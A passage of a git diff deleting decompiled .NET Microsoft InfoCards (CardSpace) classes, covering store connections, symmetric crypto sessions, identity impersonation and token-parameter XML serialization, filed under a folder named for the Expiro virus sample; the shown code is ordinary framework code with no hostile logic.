a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/StoreConnection.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/StoreConnection.cs deleted file mode 100644 index c433d3b1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/StoreConnection.cs +++ /dev/null @@ -1,308 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.StoreConnection -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections; -using System.Collections.Generic; -using System.Collections.Specialized; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class StoreConnection : IDisposable - { - public const string DEFAULTFILENAME = "CardSpace.db"; - public const string STORAGEPATH = "Microsoft\\CardSpace\\"; - private static Hashtable s_instanceCache = CollectionsUtil.CreateCaseInsensitiveHashtable(); - private string m_path; - private int m_refCount; - private Hashtable m_sources; - private string m_instanceId; - private string m_activeSource; - private string m_localSource; - private bool m_isLoaded; - private WindowsIdentity m_identity; - private bool m_disposed; - private object m_sync; - - protected StoreConnection(WindowsIdentity identity) - { - this.m_identity = new WindowsIdentity(identity.Token); - this.m_instanceId = this.m_identity.User.Value; - this.m_sync = new object(); - this.m_disposed = false; - this.m_path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\\CardSpace\\"); - this.m_localSource = this.m_path + "CardSpace.db"; - this.m_activeSource = this.m_localSource; - this.m_sources = CollectionsUtil.CreateCaseInsensitiveHashtable(); - } - - public Hashtable DataSources => this.m_sources; - - public string ActiveDataSource => this.m_activeSource; - - public string LocalDataSource => this.m_localSource; - - public string InstanceId => this.m_instanceId; - - public WindowsIdentity Identity => this.m_identity; - - protected int ReferenceCount - { - get => this.m_refCount; - set => this.m_refCount = value; - } - - public static StoreConnection CreateConnection() - { - WindowsIdentity current = WindowsIdentity.GetCurrent(); - InfoCardTrace.Assert(!current.IsSystem, "Identity should not be LSA"); - return StoreConnection.GetConnection(current, true); - } - - public static StoreConnection GetConnection() - { - WindowsIdentity current = WindowsIdentity.GetCurrent(); - InfoCardTrace.Assert(!current.IsSystem, "Identity should not be LSA"); - return StoreConnection.GetConnection(current); - } - - public static StoreConnection GetConnection(WindowsIdentity identity) => StoreConnection.GetConnection(identity, false); - - private static StoreConnection GetConnection( - WindowsIdentity identity, - bool allowCreate) - { - StoreConnection connection = (StoreConnection) null; - lock (StoreConnection.s_instanceCache.SyncRoot) - { - connection = (StoreConnection) StoreConnection.s_instanceCache[(object) identity.User.Value]; - if (connection == null) - { - if (!allowCreate) - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(SR.GetString("StoreFailedToOpenStore"))); - connection = new StoreConnection(identity); - connection.Load(); - StoreConnection.s_instanceCache[(object) identity.User.Value] = (object) connection; - } - else if (!connection.m_isLoaded) - connection.Load(); - ++connection.ReferenceCount; - } - return connection; - } - - public void SetActiveDataSource(string id) - { - this.ThrowIfNotLoaded(); - if (!this.m_sources.ContainsKey((object) id)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreSourceIdOutOfRange"))); - this.m_activeSource = !((DataSource) this.m_sources[(object) this.m_activeSource]).IsProcessingTransaction() ? id : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreProcessingTransaction"))); - } - - public void Close() - { - this.ThrowIfNotLoaded(); - lock (StoreConnection.s_instanceCache.SyncRoot) - { - --this.ReferenceCount; - if (this.ReferenceCount != 0) - return; - StoreConnection.s_instanceCache.Remove((object) this.m_identity.User.Value); - this.m_isLoaded = false; - foreach (string key in (IEnumerable) this.m_sources.Keys) - ((DataSource) this.m_sources[(object) key]).Close(); - this.m_sources.Clear(); - } - } - - void IDisposable.Dispose() - { - lock (this.m_sync) - { - if (this.m_disposed) - return; - this.m_disposed = true; - if (this.m_identity == null) - return; - this.m_identity.Dispose(); - this.m_identity = (WindowsIdentity) null; - } - } - - public bool IsDataSourceCleared(string sourceId) - { - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (sourceId), (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - return ((DataSource) this.m_sources[(object) sourceId]).IsCleared; - } - - public void ResetDataSourceClearedFlag(string sourceId) - { - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (sourceId), (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - ((DataSource) this.m_sources[(object) sourceId]).IsCleared = false; - } - - public DataRow GetSingleRow(QueryDetails details, params QueryParameter[] objectQuery) => this.GetSingleRow(details, this.m_activeSource, objectQuery); - - public DataRow GetSingleRow(params QueryParameter[] objectQuery) => this.GetSingleRow(this.m_activeSource, objectQuery); - - public DataRow GetSingleRow(string sourceId, params QueryParameter[] objectQuery) => this.GetSingleRow(QueryDetails.FullRow, sourceId, objectQuery); - - public DataRow GetSingleRow( - QueryDetails details, - string sourceId, - params QueryParameter[] objectQuery) - { - this.ThrowIfNotLoaded(); - if (objectQuery == null || objectQuery.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (objectQuery)); - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (sourceId), (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - return ((DataSource) this.m_sources[(object) sourceId]).GetSingleRow(details, objectQuery); - } - - public ICollection Query( - QueryDetails details, - params QueryParameter[] query) - { - return this.Query(details, this.m_activeSource, query); - } - - public ICollection Query(params QueryParameter[] query) => this.Query(this.m_activeSource, query); - - public ICollection Query( - string sourceId, - params QueryParameter[] query) - { - return this.Query(QueryDetails.FullRow, sourceId, query); - } - - public ICollection Query( - QueryDetails details, - string sourceId, - params QueryParameter[] query) - { - this.ThrowIfNotLoaded(); - if (query == null || query.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (query)); - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (sourceId), (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - return (ICollection) ((DataSource) this.m_sources[(object) sourceId]).Query(details, query); - } - - public void Save(string sourceId, DataRow row) - { - this.ThrowIfNotLoaded(); - if (row == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (row)); - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (sourceId), (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - ((DataSource) this.m_sources[(object) sourceId]).Save(row); - } - - public void Save(DataRow row) - { - this.ThrowIfNotLoaded(); - if (row == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (row)); - if (!string.IsNullOrEmpty(row.SourceId)) - this.Save(row.SourceId, row); - else - this.Save(this.m_activeSource, row); - } - - public void Delete(string sourceId, DataRow row) - { - this.ThrowIfNotLoaded(); - if (row.InstanceId != this.m_instanceId) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreRowOwnedByOtherDataSource"))); - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (sourceId), (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - ((DataSource) this.m_sources[(object) sourceId]).Delete(row); - } - - public void Delete(DataRow row) => this.Delete(row.SourceId, row); - - public void BeginTransaction() => this.BeginTransaction(this.m_activeSource); - - public void BeginTransaction(string sourceId) - { - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(" sourceId ", (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - ((DataSource) this.m_sources[(object) sourceId]).BeginTransaction(); - } - - public void CommitTransaction() => this.CommitTransaction(this.m_activeSource); - - public void CommitTransaction(string sourceId) - { - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(" sourceId ", (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - ((DataSource) this.m_sources[(object) sourceId]).CommitTransaction(); - } - - public void RollbackTransaction() => this.RollbackTransaction(this.m_activeSource); - - public void RollbackTransaction(string sourceId) - { - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(" sourceId ", (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - ((DataSource) this.m_sources[(object) sourceId]).RollbackTransaction(); - } - - protected virtual void CreateDefaultDataSources(Hashtable list) - { - using (new SystemIdentity(true)) - { - if (!File.Exists(this.m_localSource)) - { - if (File.Exists(this.m_localSource + ".shadow")) - { - FileInfo fileInfo = new FileInfo(this.m_localSource + ".shadow"); - if (0L == fileInfo.Length) - fileInfo.Delete(); - } - } - } - list.Add((object) this.m_localSource, (object) new FileDataSource(this.m_identity, this.m_localSource, this.m_instanceId, SecondaryIndexDefinition.MasterIndexes)); - } - - protected void Load() - { - InfoCardTrace.Assert(!this.m_isLoaded, "Store is already loaded"); - this.CreateDefaultDataSources(this.m_sources); - foreach (string key in (IEnumerable) this.m_sources.Keys) - { - if (!((DataSource) this.m_sources[(object) key]).IsLoaded) - { - bool flag = false; - try - { - ((DataSource) this.m_sources[(object) key]).Load(); - flag = true; - } - catch (CorruptStoreException ex) - { - ((DataSource) this.m_sources[(object) key]).Clear(); - } - catch (InvalidStoreProtectionKeyException ex) - { - ((DataSource) this.m_sources[(object) key]).Clear(); - } - if (!flag) - ((DataSource) this.m_sources[(object) key]).Load(); - } - } - this.m_isLoaded = true; - } - - protected void ThrowIfNotLoaded() => InfoCardTrace.Assert(this.m_isLoaded, "store is not loaded"); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SymmetricCryptoSession.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SymmetricCryptoSession.cs deleted file mode 100644 index 573b2fc8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SymmetricCryptoSession.cs +++ /dev/null @@ -1,83 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SymmetricCryptoSession -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Cryptography; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class SymmetricCryptoSession : CryptoSession - { - private SymmetricAlgorithm m_alg; - - public SymmetricCryptoSession( - Process process, - DateTime expiration, - WindowsIdentity identity, - byte[] key) - : base(process, expiration, identity, (object) key, CryptoSession.SessionType.Symmetric) - { - this.m_alg = (SymmetricAlgorithm) new RijndaelManaged(); - this.m_alg.Key = key; - } - - protected override void OnDispose() - { - this.m_alg.Clear(); - this.m_alg.Dispose(); - this.m_alg = (SymmetricAlgorithm) null; - } - - protected override void OnWrite(BinaryWriter bwriter) - { - bwriter.Write(this.m_alg.KeySize); - bwriter.Write(this.m_alg.BlockSize); - bwriter.Write(this.m_alg.FeedbackSize); - } - - public byte[] GenerateDerivedKey( - string algorithmUri, - byte[] label, - byte[] nonce, - int derivedKeyLength, - int offset) - { - if (algorithmUri == "http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1" || algorithmUri == "http://docs.oasis-open.org/ws-sx/ws-secureconversation/200512/dk/p_sha1") - return new Psha1DerivedKeyGenerator(this.m_alg.Key).GenerateDerivedKey(label, nonce, derivedKeyLength, offset); - throw InfoCardTrace.ThrowHelperWarning((Exception) new InfoCardArgumentException(SR.GetString("ServiceUnsupportedKeyDerivationAlgorithm", (object) algorithmUri))); - } - - public TransformCryptoSession GetCryptoTransform( - CipherMode mode, - PaddingMode padding, - int feedbackSize, - SymmetricCryptoSession.Direction direction, - byte[] iv) - { - this.m_alg.Mode = mode; - this.m_alg.Padding = padding; - this.m_alg.IV = iv; - return new TransformCryptoSession(this.ProcessObj, this.Expiration, this.Identity, SymmetricCryptoSession.Direction.Encrypt != direction ? this.m_alg.CreateDecryptor() : this.m_alg.CreateEncryptor()); - } - - public HashCryptoSession GetKeyedHash() - { - KeyedHashAlgorithm hash = (KeyedHashAlgorithm) new HMACSHA1(this.m_alg.Key); - hash.Initialize(); - return new HashCryptoSession(this.ProcessObj, this.Expiration, this.Identity, hash); - } - - public enum Direction - { - Encrypt = 1, - Decrypt = 2, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SystemIdentity.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SystemIdentity.cs deleted file mode 100644 index 813566ed..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SystemIdentity.cs +++ /dev/null @@ -1,62 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SystemIdentity -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Globalization; -using System.Runtime.InteropServices; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal sealed class SystemIdentity : IDisposable - { - private bool m_isDisposed; - private WindowsIdentity m_identity; - private object m_sync; - public static readonly IdentityReference LsaIdentityReference = (IdentityReference) new SecurityIdentifier("SY"); - - public SystemIdentity(bool throwIfAlreadySystem) - { - this.m_sync = new object(); - WindowsIdentity current = WindowsIdentity.GetCurrent(); - if (current.IsSystem && throwIfAlreadySystem) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("UserIdentityEqualSystemNotSupported"))); - if (!current.IsSystem) - { - this.m_identity = current; - if (NativeMethods.RevertToSelf()) - return; - InfoCardTrace.Assert(false, "Identity management failure"); - } - else - InfoCardTrace.Assert(null == this.m_identity, "m_identity should be null when we are system and throwIfAlreadySystem == false"); - } - - void IDisposable.Dispose() - { - if (this.m_isDisposed) - return; - lock (this.m_sync) - { - if (this.m_isDisposed) - return; - this.m_isDisposed = true; - if (this.m_identity == null) - return; - if (!NativeMethods.ImpersonateLoggedOnUser(this.m_identity.Token)) - { - int forLastWin32Error = Marshal.GetHRForLastWin32Error(); - InfoCardTrace.FailFast(string.Format((IFormatProvider) CultureInfo.InvariantCulture, SR.GetString("StoreImpersonateLoggedOnUserFailed"), new object[1] - { - (object) forLastWin32Error - })); - } - this.m_identity.Dispose(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SystemShuttingDownException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SystemShuttingDownException.cs deleted file mode 100644 index 951c4ebc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SystemShuttingDownException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SystemShuttingDownException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class SystemShuttingDownException : InfoCardBaseException - { - private const int HRESULT = -1073413873; - - public SystemShuttingDownException() - : base(-1073413873) - { - } - - public SystemShuttingDownException(string message) - : base(-1073413873, message) - { - } - - public SystemShuttingDownException(string message, Exception inner) - : base(-1073413873, message, inner) - { - } - - protected SystemShuttingDownException(SerializationInfo si, StreamingContext sc) - : base(-1073413873, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenCreationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenCreationException.cs deleted file mode 100644 index a000a237..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenCreationException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenCreationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class TokenCreationException : InfoCardBaseException - { - private const int HRESULT = -1073413872; - - public TokenCreationException() - : base(-1073413872) - { - } - - public TokenCreationException(string message) - : base(-1073413872, message) - { - } - - public TokenCreationException(string message, Exception inner) - : base(-1073413872, message, inner) - { - } - - protected TokenCreationException(SerializationInfo si, StreamingContext sc) - : base(-1073413872, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenCreationParameter.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenCreationParameter.cs deleted file mode 100644 index e4aed2dc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenCreationParameter.cs +++ /dev/null @@ -1,349 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenCreationParameter -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.Text; -using System.Xml; -using System.Xml.Serialization; - -namespace Microsoft.InfoCards -{ - internal class TokenCreationParameter : IXmlSerializable - { - private TokenFactoryCredentialType m_credentialType; - private EndpointAddress m_epr; - private string m_hint; - private Dictionary m_selectorMap; - - public TokenCreationParameter() => this.m_selectorMap = new Dictionary(); - - public TokenFactoryCredentialType CredentialType - { - get => this.m_credentialType; - set => this.m_credentialType = value; - } - - public EndpointAddress Epr - { - get => this.m_epr; - set => this.m_epr = value; - } - - public Dictionary CredentialSelectors => this.m_selectorMap; - - public bool IsComplete() - { - if ((EndpointAddress) null == this.m_epr) - return false; - bool flag = true; - if (this.m_credentialType == TokenFactoryCredentialType.X509CertificateCredential || this.m_credentialType == TokenFactoryCredentialType.SelfIssuedCredential) - flag = flag && this.m_selectorMap.Count > 0; - return flag; - } - - public void ThrowIfNotComplete() - { - if (!this.IsComplete()) - throw InfoCardTrace.ThrowHelperError((Exception) new SerializationIncompleteException(this.GetType())); - } - - public void Serialize(BinaryWriter writer) - { - this.ThrowIfNotComplete(); - writer.Write((int) this.m_credentialType); - Utility.SerializeString(writer, this.m_hint); - Utility.SerializeString(writer, TokenCreationParameter.CreateEprXmlString(this.m_epr)); - writer.Write(this.m_selectorMap.Count); - if (this.m_selectorMap.Count <= 0) - return; - foreach (CredentialSelector credentialSelector in this.m_selectorMap.Values) - credentialSelector.Serialize(writer); - } - - public void Deserialize(BinaryReader reader) - { - TokenFactoryCredentialType factoryCredentialType = (TokenFactoryCredentialType) reader.ReadInt32(); - string str = Utility.DeserializeString(reader); - EndpointAddress eprFromString = TokenCreationParameter.CreateEprFromString(Utility.DeserializeString(reader)); - int num = reader.ReadInt32(); - Dictionary dictionary = new Dictionary(); - for (int index = 0; index < num; ++index) - { - CredentialSelector credentialSelector = new CredentialSelector(); - credentialSelector.Deserialize(reader); - dictionary.Add(credentialSelector.Type, credentialSelector); - } - this.m_credentialType = factoryCredentialType; - this.m_epr = eprFromString; - this.m_selectorMap = dictionary; - this.m_hint = str; - this.ThrowIfNotComplete(); - } - - private static EndpointAddress CreateEprFromString(string value) - { - using (MemoryStream input = new MemoryStream(Encoding.UTF8.GetBytes(value))) - { - using (XmlDictionaryReader readerWithQuotas = Utility.CreateReaderWithQuotas((Stream) input)) - { - try - { - return EndpointAddress.ReadFrom(readerWithQuotas); - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidCredentialSelector"), ex)); - throw; - } - } - } - } - - private static string CreateEprXmlString(EndpointAddress address) - { - using (MemoryStream w = new MemoryStream()) - { - using (XmlWriter writer = (XmlWriter) new XmlTextWriter((Stream) w, Encoding.Unicode)) - { - address.WriteTo(AddressingVersion.WSAddressing10, writer); - writer.Flush(); - w.Flush(); - return Encoding.Unicode.GetString(w.GetBuffer(), 2, Convert.ToInt32(w.Length - 2L)); - } - } - } - - public System.Xml.Schema.XmlSchema GetSchema() => (System.Xml.Schema.XmlSchema) null; - - public void WriteXml(XmlWriter writer) - { - if (writer == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (writer)); - InfoCardTrace.ThrowInvalidArgumentConditional(!this.IsComplete(), "IsComplete"); - writer.WriteStartElement("TokenService", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.m_epr.WriteTo(AddressingVersion.WSAddressing10, writer); - writer.WriteStartElement("UserCredential", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (!string.IsNullOrEmpty(this.m_hint)) - { - writer.WriteStartElement("DisplayCredentialHint", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(this.m_hint); - writer.WriteEndElement(); - } - switch (this.m_credentialType) - { - case TokenFactoryCredentialType.UserNamePasswordCredential: - this.WriteUserNameCredential(writer); - break; - case TokenFactoryCredentialType.SelfIssuedCredential: - this.WriteSelfIssuedCredential(writer); - break; - case TokenFactoryCredentialType.X509CertificateCredential: - this.WriteX509CertificateCredential(writer); - break; - case TokenFactoryCredentialType.KerberosCredential: - this.WriteKerberosCredential(writer); - break; - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, "CredentialType"); - break; - } - writer.WriteEndElement(); - writer.WriteEndElement(); - } - - public void WriteUserNameCredential(XmlWriter writer) - { - writer.WriteStartElement("UsernamePasswordCredential", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (this.m_selectorMap.ContainsKey(CredentialSelectorType.UserNameSelector)) - this.m_selectorMap[CredentialSelectorType.UserNameSelector].WriteXml(writer); - writer.WriteEndElement(); - } - - public void WriteKerberosCredential(XmlWriter writer) - { - writer.WriteStartElement("KerberosV5Credential", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteEndElement(); - } - - public void WriteSelfIssuedCredential(XmlWriter writer) - { - writer.WriteStartElement("SelfIssuedCredential", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (this.m_selectorMap.ContainsKey(CredentialSelectorType.SelfIssuedCardIdSelector)) - this.m_selectorMap[CredentialSelectorType.SelfIssuedCardIdSelector].WriteXml(writer); - writer.WriteEndElement(); - } - - public void WriteX509CertificateCredential(XmlWriter writer) - { - writer.WriteStartElement("X509V3Credential", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (this.m_selectorMap.ContainsKey(CredentialSelectorType.X509CertificateIssuerNameSelector) && this.m_selectorMap.ContainsKey(CredentialSelectorType.X509CertificateIssuerSerialNoSelector)) - { - writer.WriteStartElement("X509Data", "http://www.w3.org/2000/09/xmldsig#"); - writer.WriteStartElement("X509IssuerSerial", "http://www.w3.org/2000/09/xmldsig#"); - this.m_selectorMap[CredentialSelectorType.X509CertificateIssuerNameSelector].WriteXml(writer); - this.m_selectorMap[CredentialSelectorType.X509CertificateIssuerSerialNoSelector].WriteXml(writer); - writer.WriteEndElement(); - writer.WriteEndElement(); - } - else if (this.m_selectorMap.ContainsKey(CredentialSelectorType.X509CertificateKeyHashSelector)) - { - writer.WriteStartElement("X509Data", "http://www.w3.org/2000/09/xmldsig#"); - this.m_selectorMap[CredentialSelectorType.X509CertificateKeyHashSelector].WriteXml(writer); - writer.WriteEndElement(); - } - writer.WriteEndElement(); - } - - public void ReadXml(XmlReader reader) - { - if (!reader.IsStartElement("TokenService", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - reader.ReadStartElement(); - if (!(reader.LocalName == "EndpointReference")) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidCredentialSelector"))); - try - { - this.m_epr = EndpointAddress.ReadFrom(XmlDictionaryReader.CreateDictionaryReader(reader)); - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidCredentialSelector"), ex)); - throw; - } - if ((EndpointAddress) null != this.m_epr && (EndpointAddress) null == Utility.DeriveMexAddress(this.m_epr)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceEprDoesNotHaveValidMetadata"))); - if (reader.LocalName == "UserCredential") - reader.ReadStartElement(); - if (reader.LocalName == "DisplayCredentialHint") - this.m_hint = this.ReadDisplayCredentialHint(reader); - switch (reader.LocalName) - { - case "UsernamePasswordCredential": - this.CredentialType = TokenFactoryCredentialType.UserNamePasswordCredential; - if (!reader.IsEmptyElement) - { - while (reader.Read() && (!(reader.LocalName == "UsernamePasswordCredential") || reader.NodeType != XmlNodeType.EndElement)) - { - if (reader.LocalName == "Username") - { - CredentialSelector credentialSelector = new CredentialSelector(); - credentialSelector.ReadXml(reader); - if (credentialSelector.IsComplete()) - { - this.CredentialSelectors.Add(credentialSelector.Type, credentialSelector); - break; - } - break; - } - } - break; - } - reader.ReadStartElement(); - break; - case "KerberosV5Credential": - this.CredentialType = TokenFactoryCredentialType.KerberosCredential; - if (!reader.IsEmptyElement) - { - while (reader.Read() && (!(reader.LocalName == "KerberosV5Credential") || reader.NodeType != XmlNodeType.EndElement)) - { - if (reader.LocalName == "UserPrincipalName") - { - CredentialSelector credentialSelector = new CredentialSelector(); - credentialSelector.ReadXml(reader); - if (credentialSelector.IsComplete()) - { - this.CredentialSelectors.Add(credentialSelector.Type, credentialSelector); - break; - } - break; - } - } - break; - } - reader.ReadStartElement(); - break; - case "SelfIssuedCredential": - this.CredentialType = 